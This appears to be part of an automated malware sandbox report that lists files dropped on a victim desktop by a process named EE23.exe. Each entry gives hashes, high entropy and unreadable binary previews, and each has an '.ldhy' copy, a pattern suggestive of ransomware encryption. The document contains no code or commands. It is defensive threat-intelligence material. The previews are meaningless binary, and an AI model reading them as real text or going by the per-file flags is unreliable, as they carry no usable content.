                                                                                                                                                                                                                                                              C:\Users\user\Desktop\KLIZUSIQEN.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8500226929889845
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bMHtWV7X7N4fjzzcCW1xYEdRoDkFk+zos3jUpU398O831HgglTisbD:tr6oCW1qEdCDCk+zIe398Eg4mD
                                                                                                                                                                                                                                                              MD5:42517C862E2A01098697683A62680A18
                                                                                                                                                                                                                                                              SHA1:CD5577021FA32C75EC10D564DF552C0F907EA50D
                                                                                                                                                                                                                                                              SHA-256:444DE5FDB346AA089E67E542C4D3FE497B217911D3320773AA62646D6D29E5F8
                                                                                                                                                                                                                                                              SHA-512:6BBF4FCE5C4D3F320CF7C1BF44C413FD13CB4B20E6CB4C867FBF10AF970186C6D67AB3395CBB5A50ACA1CC6B352B6C3CC888C78AB4B9D36F4EFA5835B1E24374
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZU..[..!...gH.t.s.!.4...u...F....s.'|*N..*c.....L/H.M.wov=."U.3.....fO....O..r.Z.H....ZgH^&...N.b}C.......x..[&.H>..s......D.4HS.R.?..=j)nq..kA3'[u(G..Eb3...;1...9....M(..sT..........H.J ....!......b.R.6. ...o.. .L.R!(..xFk.n..U.1J........aW;#....{...d..cl.%.2.ii.....0.....x.#.h.......'!s;.........1M/V....>..h.JB..`.A.\.n5."tL9..k.l.H.........h.r.u..o1.;kdX../.;.g.V..*....0.~.0.`.:.]..*5.......\.T..^.w.Y.....%P.....~-i..P..B9......i...MK..[o.}1......3...;6^....C*.0|..Z.wG...;...Q...[..hv.../..CP...2g9.9..*..#.3.....U..:.f.~p5..1...y....I..k.$..%.Q-s4....}.1.S.v5.v..N.-@........R.....7..B......7........mQ?...G..D..i.........T.-.s..vj....c..8..]..n.'R00......;.{x...fv.~.....U.g\._.V..]F.......6.....e..!r..3Qq..si.&....'......F.C..@g...v..7....|...... ........2..d...m.S.W..R.Z...&AM...n..?...~(.D9P..|.4q.b_'.-j...4.E.n0.....5.*..5D./......3j..y..^.}.....nJ8V!_be..LNp./\..G.E.........m......".}.\.(.[`h.Fi'K.j.E.l..%.)...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\KLIZUSIQEN.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8500226929889845
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bMHtWV7X7N4fjzzcCW1xYEdRoDkFk+zos3jUpU398O831HgglTisbD:tr6oCW1qEdCDCk+zIe398Eg4mD
                                                                                                                                                                                                                                                              MD5:42517C862E2A01098697683A62680A18
                                                                                                                                                                                                                                                              SHA1:CD5577021FA32C75EC10D564DF552C0F907EA50D
                                                                                                                                                                                                                                                              SHA-256:444DE5FDB346AA089E67E542C4D3FE497B217911D3320773AA62646D6D29E5F8
                                                                                                                                                                                                                                                              SHA-512:6BBF4FCE5C4D3F320CF7C1BF44C413FD13CB4B20E6CB4C867FBF10AF970186C6D67AB3395CBB5A50ACA1CC6B352B6C3CC888C78AB4B9D36F4EFA5835B1E24374
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZU..[..!...gH.t.s.!.4...u...F....s.'|*N..*c.....L/H.M.wov=."U.3.....fO....O..r.Z.H....ZgH^&...N.b}C.......x..[&.H>..s......D.4HS.R.?..=j)nq..kA3'[u(G..Eb3...;1...9....M(..sT..........H.J ....!......b.R.6. ...o.. .L.R!(..xFk.n..U.1J........aW;#....{...d..cl.%.2.ii.....0.....x.#.h.......'!s;.........1M/V....>..h.JB..`.A.\.n5."tL9..k.l.H.........h.r.u..o1.;kdX../.;.g.V..*....0.~.0.`.:.]..*5.......\.T..^.w.Y.....%P.....~-i..P..B9......i...MK..[o.}1......3...;6^....C*.0|..Z.wG...;...Q...[..hv.../..CP...2g9.9..*..#.3.....U..:.f.~p5..1...y....I..k.$..%.Q-s4....}.1.S.v5.v..N.-@........R.....7..B......7........mQ?...G..D..i.........T.-.s..vj....c..8..]..n.'R00......;.{x...fv.~.....U.g\._.V..]F.......6.....e..!r..3Qq..si.&....'......F.C..@g...v..7....|...... ........2..d...m.S.W..R.Z...&AM...n..?...~(.D9P..|.4q.b_'.-j...4.E.n0.....5.*..5D./......3j..y..^.}.....nJ8V!_be..LNp./\..G.E.........m......".}.\.(.[`h.Fi'K.j.E.l..%.)...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852248610870398
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FoKlrxz/Zi11HMb8FpEnMnP88ROyoSn+Si3qZp5bTwfx2XY0k8718sbD:FoO/ZE1sbiWnM88ROSnPlHUpD98SmD
                                                                                                                                                                                                                                                              MD5:2E2AC7A99D4959405A74D4F38228F2F7
                                                                                                                                                                                                                                                              SHA1:4078A34FA2BB011FD59410A6D8AD0FC8AD1D8AEB
                                                                                                                                                                                                                                                              SHA-256:E898F806DA31108B4911E56AC3347570171873E8DB5E55E332F6E7A0A9A2D1C9
                                                                                                                                                                                                                                                              SHA-512:B5E3D51E6D0BF14626D84892836FA9FAE48788DD381E17F8092EE38A945138ACCDAE56485221450230EF04B983CFFAD0D08E36AE5458B455AC233F2B38CA7CD4
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA..}Y}.E.N8..@.LJ..o.J...z....|V:KG.(....SsGe=PX.<|...B1.s.b.'.8T...[.N....HWU....G...~.,:(.k$....-.p...~.Ck...hY-..9^...S?...'....x.rT..{.fPe...1.I..v...rXsH.....W;j..=.7d"..|R..U....do....A.N.T...R.......5..)..CC...wr.$q\r...\....jQV...I;.RG....9.3......GT;.M>......j!.EH.'F.-...2.^S.......].'..D..l.4R.T.U....^p.....d!..g..dS....yH..p=q...".<.M....q.rOR.....+......2r.\T....2.)...^y<......3Z.....8.B .T'.N...Z..b(.r.9.....C...6...)+.AC..F.%!.I.Dv...:z..]w...l..75tDL".r......6..T@..T.......L"..(........g)...A.,..TZi.Y:.Y......'V.Mh..8h..f..s.@"...W...o.....U.C)............<.|{z...s)..d.Nl.+.I0..;ir.-uK..];..(c..zJ-.qq.cO.....w..}..[\.1.....y...0.5Dy....R4+./x........B.-c.n.....X.q.TTB..g?..-......{.Ng...]B.H..l.......5."....J.vdW..........F..f.Yp.^J.glm..F.1d.>....._...x..,..\....m.B.2Mr.F....`...$..M..}....h..P..f....!.z.....}KB%7.......=........6.h.H.QI.iOSw...J.../K.*..4.J..t....b...{=.._.E..<M..x....[.i.T..HP....tfN...VC......Z

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852248610870398
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FoKlrxz/Zi11HMb8FpEnMnP88ROyoSn+Si3qZp5bTwfx2XY0k8718sbD:FoO/ZE1sbiWnM88ROSnPlHUpD98SmD
                                                                                                                                                                                                                                                              MD5:2E2AC7A99D4959405A74D4F38228F2F7
                                                                                                                                                                                                                                                              SHA1:4078A34FA2BB011FD59410A6D8AD0FC8AD1D8AEB
                                                                                                                                                                                                                                                              SHA-256:E898F806DA31108B4911E56AC3347570171873E8DB5E55E332F6E7A0A9A2D1C9
                                                                                                                                                                                                                                                              SHA-512:B5E3D51E6D0BF14626D84892836FA9FAE48788DD381E17F8092EE38A945138ACCDAE56485221450230EF04B983CFFAD0D08E36AE5458B455AC233F2B38CA7CD4
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA..}Y}.E.N8..@.LJ..o.J...z....|V:KG.(....SsGe=PX.<|...B1.s.b.'.8T...[.N....HWU....G...~.,:(.k$....-.p...~.Ck...hY-..9^...S?...'....x.rT..{.fPe...1.I..v...rXsH.....W;j..=.7d"..|R..U....do....A.N.T...R.......5..)..CC...wr.$q\r...\....jQV...I;.RG....9.3......GT;.M>......j!.EH.'F.-...2.^S.......].'..D..l.4R.T.U....^p.....d!..g..dS....yH..p=q...".<.M....q.rOR.....+......2r.\T....2.)...^y<......3Z.....8.B .T'.N...Z..b(.r.9.....C...6...)+.AC..F.%!.I.Dv...:z..]w...l..75tDL".r......6..T@..T.......L"..(........g)...A.,..TZi.Y:.Y......'V.Mh..8h..f..s.@"...W...o.....U.C)............<.|{z...s)..d.Nl.+.I0..;ir.-uK..];..(c..zJ-.qq.cO.....w..}..[\.1.....y...0.5Dy....R4+./x........B.-c.n.....X.q.TTB..g?..-......{.Ng...]B.H..l.......5."....J.vdW..........F..f.Yp.^J.glm..F.1d.>....._...x..,..\....m.B.2Mr.F....`...$..M..}....h..P..f....!.z.....}KB%7.......=........6.h.H.QI.iOSw...J.../K.*..4.J..t....b...{=.._.E..<M..x....[.i.T..HP....tfN...VC......Z

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.867447199951237
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:F5csycsJzEw4NNjsfYkZcN+BAQCY3JVg7mur2tMBi8vqUyG3Fe1M8/Ea8ELsbD:F5cWsJwT3jgE+XCaPuoGQ1M8sajLmD
                                                                                                                                                                                                                                                              MD5:E665B260A2E2CE9204B7F6705682BBA6
                                                                                                                                                                                                                                                              SHA1:320ECB73C2D369026CAADEA0C40387944E64AE14
                                                                                                                                                                                                                                                              SHA-256:B2D782EA439B5A281570FD250E774B615BF5095DF2AADF6DD176B1B639808554
                                                                                                                                                                                                                                                              SHA-512:951BB885BA78443CF486494861C3F0D4BD7E7EC6E582193EFDE7EE8633B3B8E8484FB1110CFC32D12D89764844EC8A3D4D8633E04C34106F050CD97B4C807BCD
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZAv$.p......3nF7.y/..7:.Kd.k.p$..Vj\..d.P.c_..<..x.S...w..x....H.;....G...x.3s<.....4.V...9..f...I{...q.....J.\0c.(....-.Q...$;.&.&Y...]fM.i.H..79...u....?....]..n..p..O.i.)...$......{*I^K*A.. 9$..|*...+..\3....,..\.....!x...y.9...1..}..a..N...l.....K.fK..5..C.h.....c.|*.....JUj...&....a.HFD.3,..........O.e"....0.s]v.[...ETt...7r..%....Q -.n.....ChP..U.....+=.#.g....=.o..X.s..h...rP.....L..P..|....@........)-..2.a]2_.C{...a.Q.\G.....Rbc&9.1..~`?..q.F.W.`i...w..`..8W..........-R.K...A.D^....d.B.[.=..M.DoK'.VV@.E..T.&....T..8{......'....M......Q.E.z...D.....GS...p..B'.<!....j.le.8*...BC.z.,.....N...f..'.m..Z....F.j....z.uN=.p..P...<.U6.~..#..0.Q.x.R:.vQ...m..q.\....k..q.RCA...`../.[....D.n]..'....a..W|......K..D|...?tVT.......G.L..#.#ud.....w...%....=._q.;.C..........{..p......^.......U.6H.q....F2hq..C.i...H.l../..7.....P%....A...!lh%.H..k13.py...Ym.....Tc.Lb.cv4......p.o......E2.:.U..{.....0....e..-.X+....".'d...Pu..s.Q...S].P].

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.867447199951237
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:F5csycsJzEw4NNjsfYkZcN+BAQCY3JVg7mur2tMBi8vqUyG3Fe1M8/Ea8ELsbD:F5cWsJwT3jgE+XCaPuoGQ1M8sajLmD
                                                                                                                                                                                                                                                              MD5:E665B260A2E2CE9204B7F6705682BBA6
                                                                                                                                                                                                                                                              SHA1:320ECB73C2D369026CAADEA0C40387944E64AE14
                                                                                                                                                                                                                                                              SHA-256:B2D782EA439B5A281570FD250E774B615BF5095DF2AADF6DD176B1B639808554
                                                                                                                                                                                                                                                              SHA-512:951BB885BA78443CF486494861C3F0D4BD7E7EC6E582193EFDE7EE8633B3B8E8484FB1110CFC32D12D89764844EC8A3D4D8633E04C34106F050CD97B4C807BCD
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZAv$.p......3nF7.y/..7:.Kd.k.p$..Vj\..d.P.c_..<..x.S...w..x....H.;....G...x.3s<.....4.V...9..f...I{...q.....J.\0c.(....-.Q...$;.&.&Y...]fM.i.H..79...u....?....]..n..p..O.i.)...$......{*I^K*A.. 9$..|*...+..\3....,..\.....!x...y.9...1..}..a..N...l.....K.fK..5..C.h.....c.|*.....JUj...&....a.HFD.3,..........O.e"....0.s]v.[...ETt...7r..%....Q -.n.....ChP..U.....+=.#.g....=.o..X.s..h...rP.....L..P..|....@........)-..2.a]2_.C{...a.Q.\G.....Rbc&9.1..~`?..q.F.W.`i...w..`..8W..........-R.K...A.D^....d.B.[.=..M.DoK'.VV@.E..T.&....T..8{......'....M......Q.E.z...D.....GS...p..B'.<!....j.le.8*...BC.z.,.....N...f..'.m..Z....F.j....z.uN=.p..P...<.U6.~..#..0.Q.x.R:.vQ...m..q.\....k..q.RCA...`../.[....D.n]..'....a..W|......K..D|...?tVT.......G.L..#.#ud.....w...%....=._q.;.C..........{..p......^.......U.6H.q....F2hq..C.i...H.l../..7.....P%....A...!lh%.H..k13.py...Ym.....Tc.Lb.cv4......p.o......E2.:.U..{.....0....e..-.X+....".'d...Pu..s.Q...S].P].

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.870986419739841
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:F8a7tJvQOP7kqL/kKum3nFJXrl7OnRmyN0vAJh4ormHd3Zw0pEh80LCwBI+SRjzR:FL7IOzvDkKXhOnRmyKAHSNZDyLCwBI+Y
                                                                                                                                                                                                                                                              MD5:377E2DCFDE11AA5C6112C9C4EFDDA86F
                                                                                                                                                                                                                                                              SHA1:0520F48495D9A497F1E61C1C021221A252DA81C1
                                                                                                                                                                                                                                                              SHA-256:1D398968E4EB405EAE49DA1579BB2B4CF8E0FC9410659EAADEBFB6A416732F31
                                                                                                                                                                                                                                                              SHA-512:CC7100A7799C5E6B925BA2B37D40448053C9A90BB342634FABBB99782D7F12D8DC91FDFC9FA4187CC47AE847D19DC8F616311ABA6ADFA7A66138FFA31F34A00E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA.._.}......G..%.."J.b.C>....U\..7.B..eO.:r..ZIO....s.k<...+.....TXqs#.....l.C......x.o....ZA....C.4.I;...A.rh..)Z2~..v{(h@AW,..3..]..n$..S5.,..0.<.g.KY..T.n..;d..a...j.P.N.......r.k_.DZ]..i....HNQ.%...N.o.{.:E.;k.@....f..M.....P}$\.k..Z..G...#.....1.[.;......E%NRv1....r..F$.o...[.s.../..+R...H.w.m).._....Tp./..B).-|&?.3...@....a$..x$.B.+...g.Lz.=).Oc...sx;..@.I......*.i.3.......S|....\.J....c..J.......H...O......Gj......!V.Z........>.=.+3t..\....D3vqB.........N.g04V.h......N.v...|......0.f..r..W.8.C..'L....e...}....0....|..:..r0.,....I.qO.W.=.....Y..8.[5.....X>}5Y......(..G.Ky.Zr.L......B.l.d2.....&."...X.....]..^i...G..#...7..C.H..9.iW(...<5.J0....E..{..2W..-...ysk.T.Nm.t..iL.M.4T..:...?.B..I.n..5....:.\z.....L.co....i...o...fhl..3.F.y.W.U.{g)../.>..%..e.VQ.&.K.H....<b.d.........`.[k*..U.....%.z......^..}.ti....I[.&..RVw.....R.J^.$..J....}...N......m.m...hb}.....g.[7+NN....q.dsZ....W....1...do.#t..'.Z.=(.N.<SS...~.../W..i...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.870986419739841
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:F8a7tJvQOP7kqL/kKum3nFJXrl7OnRmyN0vAJh4ormHd3Zw0pEh80LCwBI+SRjzR:FL7IOzvDkKXhOnRmyKAHSNZDyLCwBI+Y
                                                                                                                                                                                                                                                              MD5:377E2DCFDE11AA5C6112C9C4EFDDA86F
                                                                                                                                                                                                                                                              SHA1:0520F48495D9A497F1E61C1C021221A252DA81C1
                                                                                                                                                                                                                                                              SHA-256:1D398968E4EB405EAE49DA1579BB2B4CF8E0FC9410659EAADEBFB6A416732F31
                                                                                                                                                                                                                                                              SHA-512:CC7100A7799C5E6B925BA2B37D40448053C9A90BB342634FABBB99782D7F12D8DC91FDFC9FA4187CC47AE847D19DC8F616311ABA6ADFA7A66138FFA31F34A00E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA.._.}......G..%.."J.b.C>....U\..7.B..eO.:r..ZIO....s.k<...+.....TXqs#.....l.C......x.o....ZA....C.4.I;...A.rh..)Z2~..v{(h@AW,..3..]..n$..S5.,..0.<.g.KY..T.n..;d..a...j.P.N.......r.k_.DZ]..i....HNQ.%...N.o.{.:E.;k.@....f..M.....P}$\.k..Z..G...#.....1.[.;......E%NRv1....r..F$.o...[.s.../..+R...H.w.m).._....Tp./..B).-|&?.3...@....a$..x$.B.+...g.Lz.=).Oc...sx;..@.I......*.i.3.......S|....\.J....c..J.......H...O......Gj......!V.Z........>.=.+3t..\....D3vqB.........N.g04V.h......N.v...|......0.f..r..W.8.C..'L....e...}....0....|..:..r0.,....I.qO.W.=.....Y..8.[5.....X>}5Y......(..G.Ky.Zr.L......B.l.d2.....&."...X.....]..^i...G..#...7..C.H..9.iW(...<5.J0....E..{..2W..-...ysk.T.Nm.t..iL.M.4T..:...?.B..I.n..5....:.\z.....L.co....i...o...fhl..3.F.y.W.U.{g)../.>..%..e.VQ.&.K.H....<b.d.........`.[k*..U.....%.z......^..}.ti....I[.&..RVw.....R.J^.$..J....}...N......m.m...hb}.....g.[7+NN....q.dsZ....W....1...do.#t..'.Z.=(.N.<SS...~.../W..i...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.830628094174042
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RhzgiAj1LBv08j8LfMLT7+CmeIffqSNlyFF+Zkshs/XCl1b1SYqC5YF/bQX9sbD:Aj1eJLU7+RV1lQwaCs21pq02A9mD
                                                                                                                                                                                                                                                              MD5:836DC4776868495AC45DD89B0DD40C7C
                                                                                                                                                                                                                                                              SHA1:9BC6593954E1ABA9C9926730FDF5E32B04C43D78
                                                                                                                                                                                                                                                              SHA-256:693EEAAC95E004CF159C2E007D011C964B00E06D3F9E11888CD0A97FBC792D44
                                                                                                                                                                                                                                                              SHA-512:A092F2310CD6AC9B33695FE914CE218C0550F2637D7DC66049F2C099EB6FCB7816146F1AB96166CDB20471D3379FC301B025E3C91E73A581FC5D580445BEDD0D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.0(.[..nM$..rk-..KuUW......(.................\.......i.......fh..s...oq..%.._.p6.u.....9u..[...e...!.M.............=.+BObd.K..?m.....H4a..}e....,'.!.<.m..~.|.y[..G;.^(m-qcm]n.....3j.,....A..G6...|b.,...5.t.@.D...i].D.f.....Mg>UF..D..x.IJ.|..1..c...2.n...j^..u/J>..q..#...).o..M.K..:..>....pvh...J.K.D......u.....C..W.0mi.Ya.O.......Q<bN..x..'...$.....V..&.d..<..N..E.... ..0...<.-....!..pa.J.@.V.....X.w...s7..CZ /L..j#....\.^....<*..r ..vW..n4...;......0....^6#.......)..`."?...Q..r.aN.-.._.<X..WZ.%......*>../.l...p.<....SI...r..c...yWg.......u...o]`1.#.1.LK{.....7 -....r@....S.g=..]F...z.P....y*...b..{....yU...i.KU.iU.g.2.o.1$~9......mG..K...... .:qNC...d.F..\..1.WcS..$..f..Y3.~.3..N...phDM~...%....O......GiKp..G...!.O......YQ...=m....^Z.....I'....f.CT.Xk5.0)..mH".bj.w3.9Gi."..d>..V.-...gh....;..O.D5.....{a+.U.8....N)...~...$..B..k..A82.`....I.5T..Z..|....H`N,.q.s....Q!..b":F].E6....O......I..8.EK%4.4!~..O..+E....$...UQ....{.f].

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.830628094174042
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RhzgiAj1LBv08j8LfMLT7+CmeIffqSNlyFF+Zkshs/XCl1b1SYqC5YF/bQX9sbD:Aj1eJLU7+RV1lQwaCs21pq02A9mD
                                                                                                                                                                                                                                                              MD5:836DC4776868495AC45DD89B0DD40C7C
                                                                                                                                                                                                                                                              SHA1:9BC6593954E1ABA9C9926730FDF5E32B04C43D78
                                                                                                                                                                                                                                                              SHA-256:693EEAAC95E004CF159C2E007D011C964B00E06D3F9E11888CD0A97FBC792D44
                                                                                                                                                                                                                                                              SHA-512:A092F2310CD6AC9B33695FE914CE218C0550F2637D7DC66049F2C099EB6FCB7816146F1AB96166CDB20471D3379FC301B025E3C91E73A581FC5D580445BEDD0D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.0(.[..nM$..rk-..KuUW......(.................\.......i.......fh..s...oq..%.._.p6.u.....9u..[...e...!.M.............=.+BObd.K..?m.....H4a..}e....,'.!.<.m..~.|.y[..G;.^(m-qcm]n.....3j.,....A..G6...|b.,...5.t.@.D...i].D.f.....Mg>UF..D..x.IJ.|..1..c...2.n...j^..u/J>..q..#...).o..M.K..:..>....pvh...J.K.D......u.....C..W.0mi.Ya.O.......Q<bN..x..'...$.....V..&.d..<..N..E.... ..0...<.-....!..pa.J.@.V.....X.w...s7..CZ /L..j#....\.^....<*..r ..vW..n4...;......0....^6#.......)..`."?...Q..r.aN.-.._.<X..WZ.%......*>../.l...p.<....SI...r..c...yWg.......u...o]`1.#.1.LK{.....7 -....r@....S.g=..]F...z.P....y*...b..{....yU...i.KU.iU.g.2.o.1$~9......mG..K...... .:qNC...d.F..\..1.WcS..$..f..Y3.~.3..N...phDM~...%....O......GiKp..G...!.O......YQ...=m....^Z.....I'....f.CT.Xk5.0)..mH".bj.w3.9Gi."..d>..V.-...gh....;..O.D5.....{a+.U.8....N)...~...$..B..k..A82.`....I.5T..Z..|....H`N,.q.s....Q!..b":F].E6....O......I..8.EK%4.4!~..O..+E....$...UQ....{.f].

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.857296220094495
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Fxxg5q9HbNFTV1hjumzEVvtsELhh2woBSWZw1YbvI538SHOp++RGhOH5TMrIsbD:FXgo97lrymzHELh9bu+3dCxRbGUmD
                                                                                                                                                                                                                                                              MD5:3419A005037F4D307434CA8236411B41
                                                                                                                                                                                                                                                              SHA1:4A38FE06814A3F987FE5F0DBBD7A8E4DCDC05D24
                                                                                                                                                                                                                                                              SHA-256:C1E475987F9A2A3BF3F9445B38275013BDFDED5D49A0ED552AA28E75563B62DF
                                                                                                                                                                                                                                                              SHA-512:2FF89A9AAB258E13D9ED7C33B1C6D0968A430BC9A997602AE6D36C69A60431A8FE64B2E870526EAB4C4586564DE3A670082C55422DEDCEB8D10AEB1C9FA3D381
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA1..$.?.......Q.h6X..m..i.pA.R!q.\~C..E.w....@.eBn...A..U=<.K...Z{.?..n`g.B_>n.JN.0.ef3.jR.........{.FA.....@.......Lfu/..2.....*N.....Y..\.%..a0......h....I......P....L9.f....+..m.Q...h.....N...(....p....5&......\Ge..Ll.A'..O=.....X"4.. ..N.p.m..c.?+Z..V..dC...J..\..b.....LWT.U...i......2.=.....RY.I....p-.H.T...F..%.t..^..c.(.e..0...!.!....Ug..%.9R..l2...E...Xdw&qZ..e.......{] ............*=+6(G.J...Jr....B\...@.6.;..g..T5.:>..:.X..\Q~0.?../.d.^.;uI:1(.>....|..q... ..x.{..g.......o..V.Y!M.......t.%..//.....u......t..!O. .{..8C...^X.[.%......:j$`d ..kKl,5.#......}[.^.*...?N..9.&..d..q.....=.S..G.:..X..v[-#...)pek.H.......8B.CJ.#L..P_..-......++....w.M<...p...]........o0..............e...F...4.O".4...S#...&IGh.....uU....Q...O...f..".lk..T.._y....=D.y...J.'v9.u(.99uOn.6...2.QV..X.c...Y...k...S>gITx.$z,0.{.0.d`D^....U.i,..g.v...E...;.Lr.ej.Z.H..B....G..@..=m.......!.aD.d..)*?.7<$^W..d9U.M.w..cG}QuE._..%..R&.&N.\.P.......v.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.857296220094495
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Fxxg5q9HbNFTV1hjumzEVvtsELhh2woBSWZw1YbvI538SHOp++RGhOH5TMrIsbD:FXgo97lrymzHELh9bu+3dCxRbGUmD
                                                                                                                                                                                                                                                              MD5:3419A005037F4D307434CA8236411B41
                                                                                                                                                                                                                                                              SHA1:4A38FE06814A3F987FE5F0DBBD7A8E4DCDC05D24
                                                                                                                                                                                                                                                              SHA-256:C1E475987F9A2A3BF3F9445B38275013BDFDED5D49A0ED552AA28E75563B62DF
                                                                                                                                                                                                                                                              SHA-512:2FF89A9AAB258E13D9ED7C33B1C6D0968A430BC9A997602AE6D36C69A60431A8FE64B2E870526EAB4C4586564DE3A670082C55422DEDCEB8D10AEB1C9FA3D381
                                                                                                                                                                                                                                                              Malicious:false
